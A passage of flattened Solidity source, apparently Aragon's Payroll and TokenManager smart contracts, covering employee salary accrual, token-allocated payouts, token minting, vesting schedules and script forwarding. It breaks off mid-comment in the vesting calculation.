value) * @param _role Employee's role */ function addEmployee(address _accountAddress, uint256 _initialDenominationSalary, uint64 _startDate, string _role) external authP(ADD_EMPLOYEE_ROLE, arr(_accountAddress, _initialDenominationSalary, uint256(_startDate))) { _addEmployee(_accountAddress, _initialDenominationSalary, _startDate, _role); } /** * @notice Add `_amount` to bonus for employee #`_employeeId` * @param _employeeId Employee's identifier * @param _amount Amount to be added to the employee's bonuses in denomination token */ function addBonus(uint256 _employeeId, uint256 _amount) external authP(ADD_BONUS_ROLE, arr(_employeeId, _amount)) employeeActive(_employeeId) { _addBonus(_employeeId, _amount); } /** * @notice Add `_amount` to reimbursements for employee #`_employeeId` * @param _employeeId Employee's identifier * @param _amount Amount to be added to the employee's reimbursements in denomination token */ function addReimbursement(uint256 _employeeId, uint256 _amount) external authP(ADD_REIMBURSEMENT_ROLE, arr(_employeeId, _amount)) employeeActive(_employeeId) { _addReimbursement(_employeeId, _amount); } /** * @notice Set employee #`_employeeId`'s salary to `_denominationSalary` per second * @dev This reverts if either the employee's owed salary or accrued salary overflows, to avoid * losing any accrued salary for an employee due to the employer changing their salary. * @param _employeeId Employee's identifier * @param _denominationSalary Employee's new salary, per second in denomination token */ function setEmployeeSalary(uint256 _employeeId, uint256 _denominationSalary) external authP(SET_EMPLOYEE_SALARY_ROLE, arr(_employeeId, _denominationSalary, employees[_employeeId].denominationTokenSalary)) employeeActive(_employeeId) { Employee storage employee = employees[_employeeId]; // Accrue employee's owed salary; don't cap to revert on overflow uint256 owed = _getOwedSalarySinceLastPayroll(employee, false); _addAccruedSalary(_employeeId, owed); // Update employee to track the new salary and payment date employee.lastPayroll = getTimestamp64(); employee.denominationTokenSalary = _denominationSalary; emit SetEmployeeSalary(_employeeId, _denominationSalary); } /** * @notice Terminate employee #`_employeeId` on `@formatDate(_endDate)` * @param _employeeId Employee's identifier * @param _endDate Termination timestamp in seconds */ function terminateEmployee(uint256 _employeeId, uint64 _endDate) external authP(TERMINATE_EMPLOYEE_ROLE, arr(_employeeId, uint256(_endDate))) employeeActive(_employeeId) { _terminateEmployee(_employeeId, _endDate); } /** * @notice Change your employee account address to `_newAccountAddress` * @dev Initialization check is implicitly provided by `employeeMatches` as new employees can * only be added via `addEmployee(),` which requires initialization. * As the employee is allowed to call this, we enforce non-reentrancy. * @param _newAccountAddress New address to receive payments for the requesting employee */ function changeAddressByEmployee(address _newAccountAddress) external employeeMatches nonReentrant { uint256 employeeId = employeeIds[msg.sender]; address oldAddress = employees[employeeId].accountAddress; _setEmployeeAddress(employeeId, _newAccountAddress); // Don't delete the old address until after setting the new address to check that the // employee specified a new address delete employeeIds[oldAddress]; emit ChangeAddressByEmployee(employeeId, _newAccountAddress, oldAddress); } /** * @notice Set the token distribution for your payments * @dev Initialization check is implicitly provided by `employeeMatches` as new employees can * only be added via `addEmployee(),` which requires initialization. * As the employee is allowed to call this, we enforce non-reentrancy. * @param _tokens Array of token addresses; they must belong to the list of allowed tokens * @param _distribution Array with each token's corresponding proportions (must be integers summing to 100) */ function determineAllocation(address[] _tokens, uint256[] _distribution) external employeeMatches nonReentrant { // Check array lengthes match require(_tokens.length <= MAX_ALLOWED_TOKENS, ERROR_MAX_ALLOWED_TOKENS); require(_tokens.length == _distribution.length, ERROR_TOKEN_ALLOCATION_MISMATCH); uint256 employeeId = employeeIds[msg.sender]; Employee storage employee = employees[employeeId]; // Delete previous token allocations address[] memory previousAllowedTokenAddresses = employee.allocationTokenAddresses; for (uint256 j = 0; j < previousAllowedTokenAddresses.length; j++) { delete employee.allocationTokens[previousAllowedTokenAddresses[j]]; } delete employee.allocationTokenAddresses; // Set distributions only if given tokens are allowed for (uint256 i = 0; i < _tokens.length; i++) { employee.allocationTokenAddresses.push(_tokens[i]); employee.allocationTokens[_tokens[i]] = _distribution[i]; } _ensureEmployeeTokenAllocationsIsValid(employee); emit DetermineAllocation(employeeId); } /** * @notice Request your `_type == 0 ? 'salary' : _type == 1 ? 'reimbursements' : 'bonus'` * @dev Reverts if no payments were made. * Initialization check is implicitly provided by `employeeMatches` as new employees can * only be added via `addEmployee(),` which requires initialization. * As the employee is allowed to call this, we enforce non-reentrancy. * @param _type Payment type being requested (Payroll, Reimbursement or Bonus) * @param _requestedAmount Requested amount to pay for the payment type. Must be less than or equal to total owed amount for the payment type, or zero to request all. * @param _minRates Array of employee's minimum acceptable rates for their allowed payment tokens */ function payday(PaymentType _type, uint256 _requestedAmount, uint256[] _minRates) external employeeMatches nonReentrant { uint256 paymentAmount; uint256 employeeId = employeeIds[msg.sender]; Employee storage employee = employees[employeeId]; _ensureEmployeeTokenAllocationsIsValid(employee); require(_minRates.length == 0 || _minRates.length == employee.allocationTokenAddresses.length, ERROR_MIN_RATES_MISMATCH); // Do internal employee accounting if (_type == PaymentType.Payroll) { // Salary is capped here to avoid reverting at this point if it becomes too big // (so employees aren't DDOSed if their salaries get too large) // If we do use a capped value, the employee's lastPayroll date will be adjusted accordingly uint256 totalOwedSalary = _getTotalOwedCappedSalary(employee); paymentAmount = _ensurePaymentAmount(totalOwedSalary, _requestedAmount); _updateEmployeeAccountingBasedOnPaidSalary(employee, paymentAmount); } else if (_type == PaymentType.Reimbursement) { uint256 owedReimbursements = employee.reimbursements; paymentAmount = _ensurePaymentAmount(owedReimbursements, _requestedAmount); employee.reimbursements = owedReimbursements.sub(paymentAmount); } else if (_type == PaymentType.Bonus) { uint256 owedBonusAmount = employee.bonus; paymentAmount = _ensurePaymentAmount(owedBonusAmount, _requestedAmount); employee.bonus = owedBonusAmount.sub(paymentAmount); } else { revert(ERROR_INVALID_PAYMENT_TYPE); } // Actually transfer the owed funds require(_transferTokensAmount(employeeId, _type, paymentAmount, _minRates), ERROR_NOTHING_PAID); _removeEmployeeIfTerminatedAndPaidOut(employeeId); } // Forwarding fns /** * @dev IForwarder interface conformance. Tells whether the Payroll app is a forwarder or not. * @return Always true */ function isForwarder() external pure returns (bool) { return true; } /** * @notice Execute desired action as an active employee * @dev IForwarder interface conformance. Allows active employees to run EVMScripts in the context of the Payroll app. * @param _evmScript Script being executed */ function forward(bytes _evmScript) public { require(canForward(msg.sender, _evmScript), ERROR_CAN_NOT_FORWARD); bytes memory input = new bytes(0); // TODO: Consider input for this // Add the Finance app to the blacklist to disallow employees from executing actions on the // Finance app from Payroll's context (since Payroll requires permissions on Finance) address[] memory blacklist = new address[](1); blacklist[0] = address(finance); runScript(_evmScript, input, blacklist); } /** * @dev IForwarder interface conformance. Tells whether a given address can forward actions or not. * @param _sender Address of the account intending to forward an action * @return True if the given address is an active employee, false otherwise */ function canForward(address _sender, bytes) public view returns (bool) { return _isEmployeeIdActive(employeeIds[_sender]); } // Getter fns /** * @dev Return employee's identifier by their account address * @param _accountAddress Employee's address to receive payments * @return Employee's identifier */ function getEmployeeIdByAddress(address _accountAddress) public view returns (uint256) { require(employeeIds[_accountAddress] != uint256(0), ERROR_EMPLOYEE_DOESNT_EXIST); return employeeIds[_accountAddress]; } /** * @dev Return all information for employee by their ID * @param _employeeId Employee's identifier * @return Employee's address to receive payments * @return Employee's salary, per second in denomination token * @return Employee's accrued salary * @return Employee's bonus amount * @return Employee's reimbursements amount * @return Employee's last payment date * @return Employee's termination date (max uint64 if none) * @return Employee's allowed payment tokens */ function getEmployee(uint256 _employeeId) public view employeeIdExists(_employeeId) returns ( address accountAddress, uint256 denominationSalary, uint256 accruedSalary, uint256 bonus, uint256 reimbursements, uint64 lastPayroll, uint64 endDate, address[] allocationTokens ) { Employee storage employee = employees[_employeeId]; accountAddress = employee.accountAddress; denominationSalary = employee.denominationTokenSalary; accruedSalary = employee.accruedSalary; bonus = employee.bonus; reimbursements = employee.reimbursements; lastPayroll = employee.lastPayroll; endDate = employee.endDate; allocationTokens = employee.allocationTokenAddresses; } /** * @dev Get owed salary since last payroll for an employee. It will take into account the accrued salary as well. * The result will be capped to max uint256 to avoid having an overflow. * @return Employee's total owed salary: current owed payroll since the last payroll date, plus the accrued salary. */ function getTotalOwedSalary(uint256 _employeeId) public view employeeIdExists(_employeeId) returns (uint256) { return _getTotalOwedCappedSalary(employees[_employeeId]); } /** * @dev Get an employee's payment allocation for a token * @param _employeeId Employee's identifier * @param _token Token to query the payment allocation for * @return Employee's payment allocation for the token being queried */ function getAllocation(uint256 _employeeId, address _token) public view employeeIdExists(_employeeId) returns (uint256) { return employees[_employeeId].allocationTokens[_token]; } /** * @dev Check if a token is allowed to be used for payments * @param _token Address of the token to be checked * @return True if the given token is allowed, false otherwise */ function isTokenAllowed(address _token) public view isInitialized returns (bool) { return allowedTokens[_token]; } // Internal fns /** * @dev Set the price feed used for exchange rates * @param _feed Address of the new price feed instance */ function _setPriceFeed(IFeed _feed) internal { require(isContract(_feed), ERROR_FEED_NOT_CONTRACT); feed = _feed; emit SetPriceFeed(feed); } /** * @dev Set the exchange rate expiry time in seconds. * Exchange rates older than the given value won't be accepted for payments and will cause * payouts to revert. * @param _time The expiration time in seconds for exchange rates */ function _setRateExpiryTime(uint64 _time) internal { // Require a sane minimum for the rate expiry time require(_time >= MIN_RATE_EXPIRY, ERROR_EXPIRY_TIME_TOO_SHORT); rateExpiryTime = _time; emit SetRateExpiryTime(rateExpiryTime); } /** * @dev Add a new employee to Payroll * @param _accountAddress Employee's address to receive payroll * @param _initialDenominationSalary Employee's salary, per second in denomination token * @param _startDate Employee's starting timestamp in seconds * @param _role Employee's role */ function _addEmployee(address _accountAddress, uint256 _initialDenominationSalary, uint64 _startDate, string _role) internal { uint256 employeeId = nextEmployee++; _setEmployeeAddress(employeeId, _accountAddress); Employee storage employee = employees[employeeId]; employee.denominationTokenSalary = _initialDenominationSalary; employee.lastPayroll = _startDate; employee.endDate = MAX_UINT64; emit AddEmployee(employeeId, _accountAddress, _initialDenominationSalary, _startDate, _role); } /** * @dev Add amount to an employee's bonuses * @param _employeeId Employee's identifier * @param _amount Amount be added to the employee's bonuses in denomination token */ function _addBonus(uint256 _employeeId, uint256 _amount) internal { Employee storage employee = employees[_employeeId]; employee.bonus = employee.bonus.add(_amount); emit AddEmployeeBonus(_employeeId, _amount); } /** * @dev Add amount to an employee's reimbursements * @param _employeeId Employee's identifier * @param _amount Amount be added to the employee's reimbursements in denomination token */ function _addReimbursement(uint256 _employeeId, uint256 _amount) internal { Employee storage employee = employees[_employeeId]; employee.reimbursements = employee.reimbursements.add(_amount); emit AddEmployeeReimbursement(_employeeId, _amount); } /** * @dev Add amount to an employee's accrued salary * @param _employeeId Employee's identifier * @param _amount Amount be added to the employee's accrued salary in denomination token */ function _addAccruedSalary(uint256 _employeeId, uint256 _amount) internal { Employee storage employee = employees[_employeeId]; employee.accruedSalary = employee.accruedSalary.add(_amount); emit AddEmployeeAccruedSalary(_employeeId, _amount); } /** * @dev Set an employee's account address * @param _employeeId Employee's identifier * @param _accountAddress Employee's address to receive payroll */ function _setEmployeeAddress(uint256 _employeeId, address _accountAddress) internal { // Check address is non-null require(_accountAddress != address(0), ERROR_EMPLOYEE_NULL_ADDRESS); // Check address isn't already being used require(employeeIds[_accountAddress] == uint256(0), ERROR_EMPLOYEE_ALREADY_EXIST); employees[_employeeId].accountAddress = _accountAddress; // Create IDs mapping employeeIds[_accountAddress] = _employeeId; } /** * @dev Terminate employee on end date * @param _employeeId Employee's identifier * @param _endDate Termination timestamp in seconds */ function _terminateEmployee(uint256 _employeeId, uint64 _endDate) internal { // Prevent past termination dates require(_endDate >= getTimestamp64(), ERROR_PAST_TERMINATION_DATE); employees[_employeeId].endDate = _endDate; emit TerminateEmployee(_employeeId, _endDate); } /** * @dev Loop over allowed tokens to send requested amount to the employee in their desired allocation * @param _employeeId Employee's identifier * @param _totalAmount Total amount to be transferred to the employee distributed in accordance to the employee's token allocation. * @param _type Payment type being transferred (Payroll, Reimbursement or Bonus) * @param _minRates Array of employee's minimum acceptable rates for their allowed payment tokens * @return True if there was at least one token transfer */ function _transferTokensAmount(uint256 _employeeId, PaymentType _type, uint256 _totalAmount, uint256[] _minRates) internal returns (bool somethingPaid) { if (_totalAmount == 0) { return false; } Employee storage employee = employees[_employeeId]; address employeeAddress = employee.accountAddress; string memory paymentReference = _paymentReferenceFor(_type); address[] storage allocationTokenAddresses = employee.allocationTokenAddresses; for (uint256 i = 0; i < allocationTokenAddresses.length; i++) { address token = allocationTokenAddresses[i]; uint256 tokenAllocation = employee.allocationTokens[token]; if (tokenAllocation != uint256(0)) { // Get the exchange rate for the payout token in denomination token, // as we do accounting in denomination tokens uint256 exchangeRate = _getExchangeRateInDenominationToken(token); require(_minRates.length > 0 ? exchangeRate >= _minRates[i] : exchangeRate > 0, ERROR_EXCHANGE_RATE_TOO_LOW); // Convert amount (in denomination tokens) to payout token and apply allocation uint256 tokenAmount = _totalAmount.mul(exchangeRate).mul(tokenAllocation); // Divide by 100 for the allocation percentage and by the exchange rate precision tokenAmount = tokenAmount.div(100).div(feed.ratePrecision()); // Finance reverts if the payment wasn't possible finance.newImmediatePayment(token, employeeAddress, tokenAmount, paymentReference); emit SendPayment(_employeeId, employeeAddress, token, tokenAmount, exchangeRate, paymentReference); somethingPaid = true; } } } /** * @dev Remove employee if there are no owed funds and employee's end date has been reached * @param _employeeId Employee's identifier */ function _removeEmployeeIfTerminatedAndPaidOut(uint256 _employeeId) internal { Employee storage employee = employees[_employeeId]; if ( employee.lastPayroll == employee.endDate && (employee.accruedSalary == 0 && employee.bonus == 0 && employee.reimbursements == 0) ) { delete employeeIds[employee.accountAddress]; delete employees[_employeeId]; } } /** * @dev Updates the accrued salary and payroll date of an employee based on a payment amount and * their currently owed salary since last payroll date * @param _employee Employee struct in storage * @param _paymentAmount Amount being paid to the employee */ function _updateEmployeeAccountingBasedOnPaidSalary(Employee storage _employee, uint256 _paymentAmount) internal { uint256 accruedSalary = _employee.accruedSalary; if (_paymentAmount <= accruedSalary) { // Employee is only cashing out some previously owed salary so we don't need to update // their last payroll date // No need to use SafeMath as we already know _paymentAmount <= accruedSalary _employee.accruedSalary = accruedSalary - _paymentAmount; return; } // Employee is cashing out some of their currently owed salary so their last payroll date // needs to be modified based on the amount of salary paid uint256 currentSalaryPaid = _paymentAmount; if (accruedSalary > 0) { // Employee is cashing out a mixed amount between previous and current owed salaries; // first use up their accrued salary // No need to use SafeMath here as we already know _paymentAmount > accruedSalary currentSalaryPaid = _paymentAmount - accruedSalary; // We finally need to clear their accrued salary _employee.accruedSalary = 0; } uint256 salary = _employee.denominationTokenSalary; uint256 timeDiff = currentSalaryPaid.div(salary); // If they're being paid an amount that doesn't match perfectly with the adjusted time // (up to a seconds' worth of salary), add the second and put the extra remaining salary // into their accrued salary uint256 extraSalary = currentSalaryPaid % salary; if (extraSalary > 0) { timeDiff = timeDiff.add(1); _employee.accruedSalary = salary - extraSalary; } uint256 lastPayrollDate = uint256(_employee.lastPayroll).add(timeDiff); // Even though this function should never receive a currentSalaryPaid value that would // result in the lastPayrollDate being higher than the current time, // let's double check to be safe require(lastPayrollDate <= uint256(getTimestamp64()), ERROR_LAST_PAYROLL_DATE_TOO_BIG); // Already know lastPayrollDate must fit in uint64 from above _employee.lastPayroll = uint64(lastPayrollDate); } /** * @dev Tell whether an employee is registered in this Payroll or not * @param _employeeId Employee's identifier * @return True if the given employee ID belongs to an registered employee, false otherwise */ function _employeeExists(uint256 _employeeId) internal view returns (bool) { return employees[_employeeId].accountAddress != address(0); } /** * @dev Tell whether an employee has a valid token allocation or not. * A valid allocation is one that sums to 100 and only includes allowed tokens. * @param _employee Employee struct in storage * @return Reverts if employee's allocation is invalid */ function _ensureEmployeeTokenAllocationsIsValid(Employee storage _employee) internal view { uint256 sum = 0; address[] memory allocationTokenAddresses = _employee.allocationTokenAddresses; for (uint256 i = 0; i < allocationTokenAddresses.length; i++) { address token = allocationTokenAddresses[i]; require(allowedTokens[token], ERROR_NOT_ALLOWED_TOKEN); sum = sum.add(_employee.allocationTokens[token]); } require(sum == 100, ERROR_DISTRIBUTION_NOT_FULL); } /** * @dev Tell whether an employee is still active or not * @param _employee Employee struct in storage * @return True if the employee exists and has an end date that has not been reached yet, false otherwise */ function _isEmployeeActive(Employee storage _employee) internal view returns (bool) { return _employee.endDate >= getTimestamp64(); } /** * @dev Tell whether an employee id is still active or not * @param _employeeId Employee's identifier * @return True if the employee exists and has an end date that has not been reached yet, false otherwise */ function _isEmployeeIdActive(uint256 _employeeId) internal view returns (bool) { return _isEmployeeActive(employees[_employeeId]); } /** * @dev Get exchange rate for a token based on the denomination token. * As an example, if the denomination token was USD and ETH's price was 100USD, * this would return 0.01 * precision rate for ETH. * @param _token Token to get price of in denomination tokens * @return Exchange rate (multiplied by the PPF rate precision) */ function _getExchangeRateInDenominationToken(address _token) internal view returns (uint256) { // xrt is the number of `_token` that can be exchanged for one `denominationToken` (uint128 xrt, uint64 when) = feed.get( denominationToken, // Base (e.g. USD) _token // Quote (e.g. ETH) ); // Check the price feed is recent enough if (getTimestamp64().sub(when) >= rateExpiryTime) { return 0; } return uint256(xrt); } /** * @dev Get owed salary since last payroll for an employee * @param _employee Employee struct in storage * @param _capped Safely cap the owed salary at max uint * @return Owed salary in denomination tokens since last payroll for the employee. * If _capped is false, it reverts in case of an overflow. */ function _getOwedSalarySinceLastPayroll(Employee storage _employee, bool _capped) internal view returns (uint256) { uint256 timeDiff = _getOwedPayrollPeriod(_employee); if (timeDiff == 0) { return 0; } uint256 salary = _employee.denominationTokenSalary; if (_capped) { // Return max uint if the result overflows uint256 result = salary * timeDiff; return (result / timeDiff != salary) ? MAX_UINT256 : result; } else { return salary.mul(timeDiff); } } /** * @dev Get owed payroll period for an employee * @param _employee Employee struct in storage * @return Owed time in seconds since the employee's last payroll date */ function _getOwedPayrollPeriod(Employee storage _employee) internal view returns (uint256) { // Get the min of current date and termination date uint64 date = _isEmployeeActive(_employee) ? getTimestamp64() : _employee.endDate; // Make sure we don't revert if we try to get the owed salary for an employee whose last // payroll date is now or in the future // This can happen either by adding new employees with start dates in the future, to allow // us to change their salary before their start date, or by terminating an employee and // paying out their full owed salary if (date <= _employee.lastPayroll) { return 0; } // Return time diff in seconds, no need to use SafeMath as the underflow was covered by the previous check return uint256(date - _employee.lastPayroll); } /** * @dev Get owed salary since last payroll for an employee. It will take into account the accrued salary as well. * The result will be capped to max uint256 to avoid having an overflow. * @param _employee Employee struct in storage * @return Employee's total owed salary: current owed payroll since the last payroll date, plus the accrued salary. */ function _getTotalOwedCappedSalary(Employee storage _employee) internal view returns (uint256) { uint256 currentOwedSalary = _getOwedSalarySinceLastPayroll(_employee, true); // cap amount uint256 totalOwedSalary = currentOwedSalary + _employee.accruedSalary; if (totalOwedSalary < currentOwedSalary) { totalOwedSalary = MAX_UINT256; } return totalOwedSalary; } /** * @dev Get payment reference for a given payment type * @param _type Payment type to query the reference of * @return Payment reference for the given payment type */ function _paymentReferenceFor(PaymentType _type) internal pure returns (string memory) { if (_type == PaymentType.Payroll) { return "Employee salary"; } else if (_type == PaymentType.Reimbursement) { return "Employee reimbursement"; } if (_type == PaymentType.Bonus) { return "Employee bonus"; } revert(ERROR_INVALID_PAYMENT_TYPE); } function _ensurePaymentAmount(uint256 _owedAmount, uint256 _requestedAmount) private pure returns (uint256) { require(_owedAmount > 0, ERROR_NOTHING_PAID); require(_owedAmount >= _requestedAmount, ERROR_INVALID_REQUESTED_AMOUNT); return _requestedAmount > 0 ? _requestedAmount : _owedAmount; } } // File: @aragon/apps-token-manager/contracts/TokenManager.sol /* * SPDX-License-Identitifer: GPL-3.0-or-later */ /* solium-disable function-order */ pragma solidity 0.4.24; contract TokenManager is ITokenController, IForwarder, AragonApp { using SafeMath for uint256; bytes32 public constant MINT_ROLE = keccak256("MINT_ROLE"); bytes32 public constant ISSUE_ROLE = keccak256("ISSUE_ROLE"); bytes32 public constant ASSIGN_ROLE = keccak256("ASSIGN_ROLE"); bytes32 public constant REVOKE_VESTINGS_ROLE = keccak256("REVOKE_VESTINGS_ROLE"); bytes32 public constant BURN_ROLE = keccak256("BURN_ROLE"); uint256 public constant MAX_VESTINGS_PER_ADDRESS = 50; string private constant ERROR_CALLER_NOT_TOKEN = "TM_CALLER_NOT_TOKEN"; string private constant ERROR_NO_VESTING = "TM_NO_VESTING"; string private constant ERROR_TOKEN_CONTROLLER = "TM_TOKEN_CONTROLLER"; string private constant ERROR_MINT_RECEIVER_IS_TM = "TM_MINT_RECEIVER_IS_TM"; string private constant ERROR_VESTING_TO_TM = "TM_VESTING_TO_TM"; string private constant ERROR_TOO_MANY_VESTINGS = "TM_TOO_MANY_VESTINGS"; string private constant ERROR_WRONG_CLIFF_DATE = "TM_WRONG_CLIFF_DATE"; string private constant ERROR_VESTING_NOT_REVOKABLE = "TM_VESTING_NOT_REVOKABLE"; string private constant ERROR_REVOKE_TRANSFER_FROM_REVERTED = "TM_REVOKE_TRANSFER_FROM_REVERTED"; string private constant ERROR_CAN_NOT_FORWARD = "TM_CAN_NOT_FORWARD"; string private constant ERROR_BALANCE_INCREASE_NOT_ALLOWED = "TM_BALANCE_INC_NOT_ALLOWED"; string private constant ERROR_ASSIGN_TRANSFER_FROM_REVERTED = "TM_ASSIGN_TRANSFER_FROM_REVERTED"; struct TokenVesting { uint256 amount; uint64 start; uint64 cliff; uint64 vesting; bool revokable; } // Note that we COMPLETELY trust this MiniMeToken to not be malicious for proper operation of this contract MiniMeToken public token; uint256 public maxAccountTokens; // We are mimicing an array in the inner mapping, we use a mapping instead to make app upgrade more graceful mapping (address => mapping (uint256 => TokenVesting)) internal vestings; mapping (address => uint256) public vestingsLengths; // Other token specific events can be watched on the token address directly (avoids duplication) event NewVesting(address indexed receiver, uint256 vestingId, uint256 amount); event RevokeVesting(address indexed receiver, uint256 vestingId, uint256 nonVestedAmount); modifier onlyToken() { require(msg.sender == address(token), ERROR_CALLER_NOT_TOKEN); _; } modifier vestingExists(address _holder, uint256 _vestingId) { // TODO: it's not checking for gaps that may appear because of deletes in revokeVesting function require(_vestingId < vestingsLengths[_holder], ERROR_NO_VESTING); _; } /** * @notice Initialize Token Manager for `_token.symbol(): string`, whose tokens are `transferable ? 'not' : ''` transferable`_maxAccountTokens > 0 ? ' and limited to a maximum of ' + @tokenAmount(_token, _maxAccountTokens, false) + ' per account' : ''` * @param _token MiniMeToken address for the managed token (Token Manager instance must be already set as the token controller) * @param _transferable whether the token can be transferred by holders * @param _maxAccountTokens Maximum amount of tokens an account can have (0 for infinite tokens) */ function initialize( MiniMeToken _token, bool _transferable, uint256 _maxAccountTokens ) external onlyInit { initialized(); require(_token.controller() == address(this), ERROR_TOKEN_CONTROLLER); token = _token; maxAccountTokens = _maxAccountTokens == 0 ? uint256(-1) : _maxAccountTokens; if (token.transfersEnabled() != _transferable) { token.enableTransfers(_transferable); } } /** * @notice Mint `@tokenAmount(self.token(): address, _amount, false)` tokens for `_receiver` * @param _receiver The address receiving the tokens, cannot be the Token Manager itself (use `issue()` instead) * @param _amount Number of tokens minted */ function mint(address _receiver, uint256 _amount) external authP(MINT_ROLE, arr(_receiver, _amount)) { require(_receiver != address(this), ERROR_MINT_RECEIVER_IS_TM); _mint(_receiver, _amount); } /** * @notice Mint `@tokenAmount(self.token(): address, _amount, false)` tokens for the Token Manager * @param _amount Number of tokens minted */ function issue(uint256 _amount) external authP(ISSUE_ROLE, arr(_amount)) { _mint(address(this), _amount); } /** * @notice Assign `@tokenAmount(self.token(): address, _amount, false)` tokens to `_receiver` from the Token Manager's holdings * @param _receiver The address receiving the tokens * @param _amount Number of tokens transferred */ function assign(address _receiver, uint256 _amount) external authP(ASSIGN_ROLE, arr(_receiver, _amount)) { _assign(_receiver, _amount); } /** * @notice Burn `@tokenAmount(self.token(): address, _amount, false)` tokens from `_holder` * @param _holder Holder of tokens being burned * @param _amount Number of tokens being burned */ function burn(address _holder, uint256 _amount) external authP(BURN_ROLE, arr(_holder, _amount)) { // minime.destroyTokens() never returns false, only reverts on failure token.destroyTokens(_holder, _amount); } /** * @notice Assign `@tokenAmount(self.token(): address, _amount, false)` tokens to `_receiver` from the Token Manager's holdings with a `_revokable : 'revokable' : ''` vesting starting at `@formatDate(_start)`, cliff at `@formatDate(_cliff)` (first portion of tokens transferable), and completed vesting at `@formatDate(_vested)` (all tokens transferable) * @param _receiver The address receiving the tokens, cannot be Token Manager itself * @param _amount Number of tokens vested * @param _start Date the vesting calculations start * @param _cliff Date when the initial portion of tokens are transferable * @param _vested Date when all tokens are transferable * @param _revokable Whether the vesting can be revoked by the Token Manager */ function assignVested( address _receiver, uint256 _amount, uint64 _start, uint64 _cliff, uint64 _vested, bool _revokable ) external authP(ASSIGN_ROLE, arr(_receiver, _amount)) returns (uint256) { require(_receiver != address(this), ERROR_VESTING_TO_TM); require(vestingsLengths[_receiver] < MAX_VESTINGS_PER_ADDRESS, ERROR_TOO_MANY_VESTINGS); require(_start <= _cliff && _cliff <= _vested, ERROR_WRONG_CLIFF_DATE); uint256 vestingId = vestingsLengths[_receiver]++; vestings[_receiver][vestingId] = TokenVesting( _amount, _start, _cliff, _vested, _revokable ); _assign(_receiver, _amount); emit NewVesting(_receiver, vestingId, _amount); return vestingId; } /** * @notice Revoke vesting #`_vestingId` from `_holder`, returning unvested tokens to the Token Manager * @param _holder Address whose vesting to revoke * @param _vestingId Numeric id of the vesting */ function revokeVesting(address _holder, uint256 _vestingId) external authP(REVOKE_VESTINGS_ROLE, arr(_holder)) vestingExists(_holder, _vestingId) { TokenVesting storage v = vestings[_holder][_vestingId]; require(v.revokable, ERROR_VESTING_NOT_REVOKABLE); uint256 nonVested = _calculateNonVestedTokens( v.amount, getTimestamp(), v.start, v.cliff, v.vesting ); // To make vestingIds immutable over time, we just zero out the revoked vesting // Clearing this out also allows the token transfer back to the Token Manager to succeed delete vestings[_holder][_vestingId]; // transferFrom always works as controller // onTransfer hook always allows if transfering to token controller require(token.transferFrom(_holder, address(this), nonVested), ERROR_REVOKE_TRANSFER_FROM_REVERTED); emit RevokeVesting(_holder, _vestingId, nonVested); } // ITokenController fns // `onTransfer()`, `onApprove()`, and `proxyPayment()` are callbacks from the MiniMe token // contract and are only meant to be called through the managed MiniMe token that gets assigned // during initialization. /* * @dev Notifies the controller about a token transfer allowing the controller to decide whether * to allow it or react if desired (only callable from the token). * Initialization check is implicitly provided by `onlyToken()`. * @param _from The origin of the transfer * @param _to The destination of the transfer * @param _amount The amount of the transfer * @return False if the controller does not authorize the transfer */ function onTransfer(address _from, address _to, uint256 _amount) external onlyToken returns (bool) { return _isBalanceIncreaseAllowed(_to, _amount) && _transferableBalance(_from, getTimestamp()) >= _amount; } /** * @dev Notifies the controller about an approval allowing the controller to react if desired * Initialization check is implicitly provided by `onlyToken()`. * @return False if the controller does not authorize the approval */ function onApprove(address, address, uint) external onlyToken returns (bool) { return true; } /** * @dev Called when ether is sent to the MiniMe Token contract * Initialization check is implicitly provided by `onlyToken()`. * @return True if the ether is accepted, false for it to throw */ function proxyPayment(address) external payable onlyToken returns (bool) { return false; } // Forwarding fns function isForwarder() external pure returns (bool) { return true; } /** * @notice Execute desired action as a token holder * @dev IForwarder interface conformance. Forwards any token holder action. * @param _evmScript Script being executed */ function forward(bytes _evmScript) public { require(canForward(msg.sender, _evmScript), ERROR_CAN_NOT_FORWARD); bytes memory input = new bytes(0); // TODO: Consider input for this // Add the managed token to the blacklist to disallow a token holder from executing actions // on the token controller's (this contract) behalf address[] memory blacklist = new address[](1); blacklist[0] = address(token); runScript(_evmScript, input, blacklist); } function canForward(address _sender, bytes) public view returns (bool) { return hasInitialized() && token.balanceOf(_sender) > 0; } // Getter fns function getVesting( address _recipient, uint256 _vestingId ) public view vestingExists(_recipient, _vestingId) returns ( uint256 amount, uint64 start, uint64 cliff, uint64 vesting, bool revokable ) { TokenVesting storage tokenVesting = vestings[_recipient][_vestingId]; amount = tokenVesting.amount; start = tokenVesting.start; cliff = tokenVesting.cliff; vesting = tokenVesting.vesting; revokable = tokenVesting.revokable; } function spendableBalanceOf(address _holder) public view isInitialized returns (uint256) { return _transferableBalance(_holder, getTimestamp()); } function transferableBalance(address _holder, uint256 _time) public view isInitialized returns (uint256) { return _transferableBalance(_holder, _time); } /** * @dev Disable recovery escape hatch for own token, * as the it has the concept of issuing tokens without assigning them */ function allowRecoverability(address _token) public view returns (bool) { return _token != address(token); } // Internal fns function _assign(address _receiver, uint256 _amount) internal { require(_isBalanceIncreaseAllowed(_receiver, _amount), ERROR_BALANCE_INCREASE_NOT_ALLOWED); // Must use transferFrom() as transfer() does not give the token controller full control require(token.transferFrom(address(this), _receiver, _amount), ERROR_ASSIGN_TRANSFER_FROM_REVERTED); } function _mint(address _receiver, uint256 _amount) internal { require(_isBalanceIncreaseAllowed(_receiver, _amount), ERROR_BALANCE_INCREASE_NOT_ALLOWED); token.generateTokens(_receiver, _amount); // minime.generateTokens() never returns false } function _isBalanceIncreaseAllowed(address _receiver, uint256 _inc) internal view returns (bool) { // Max balance doesn't apply to the token manager itself if (_receiver == address(this)) { return true; } return token.balanceOf(_receiver).add(_inc) <= maxAccountTokens; } /** * @dev Calculate amount of non-vested tokens at a specifc time * @param tokens The total amount of tokens vested * @param time The time at which to check * @param start The date vesting started * @param cliff The cliff period * @param vested The fully vested date * @return The amount of non-vested tokens of a specific grant * transferableTokens * | _/-------- vestedTokens rect * | _/ * | _/ * | _/ * | _/ * | / * | .| * | . | * | . | * | . | * | . | * | . | * +===+===========+---------+----------> time * Start Cliff Vested */ function _calculateNonVestedTokens( uint256 tokens, uint256 time, uint256 start, uint256 cliff, uint256 vested ) private pure returns (uint256) { // Shortcuts for before cliff and after vested cases. if (time >= vested) { return 0; } if (time < cliff) { return tokens; } // Interpolate all vested tokens. // As before cliff the shortcut returns 0, we can just calculate a value // in the vesting rect (as shown in above's figure) // 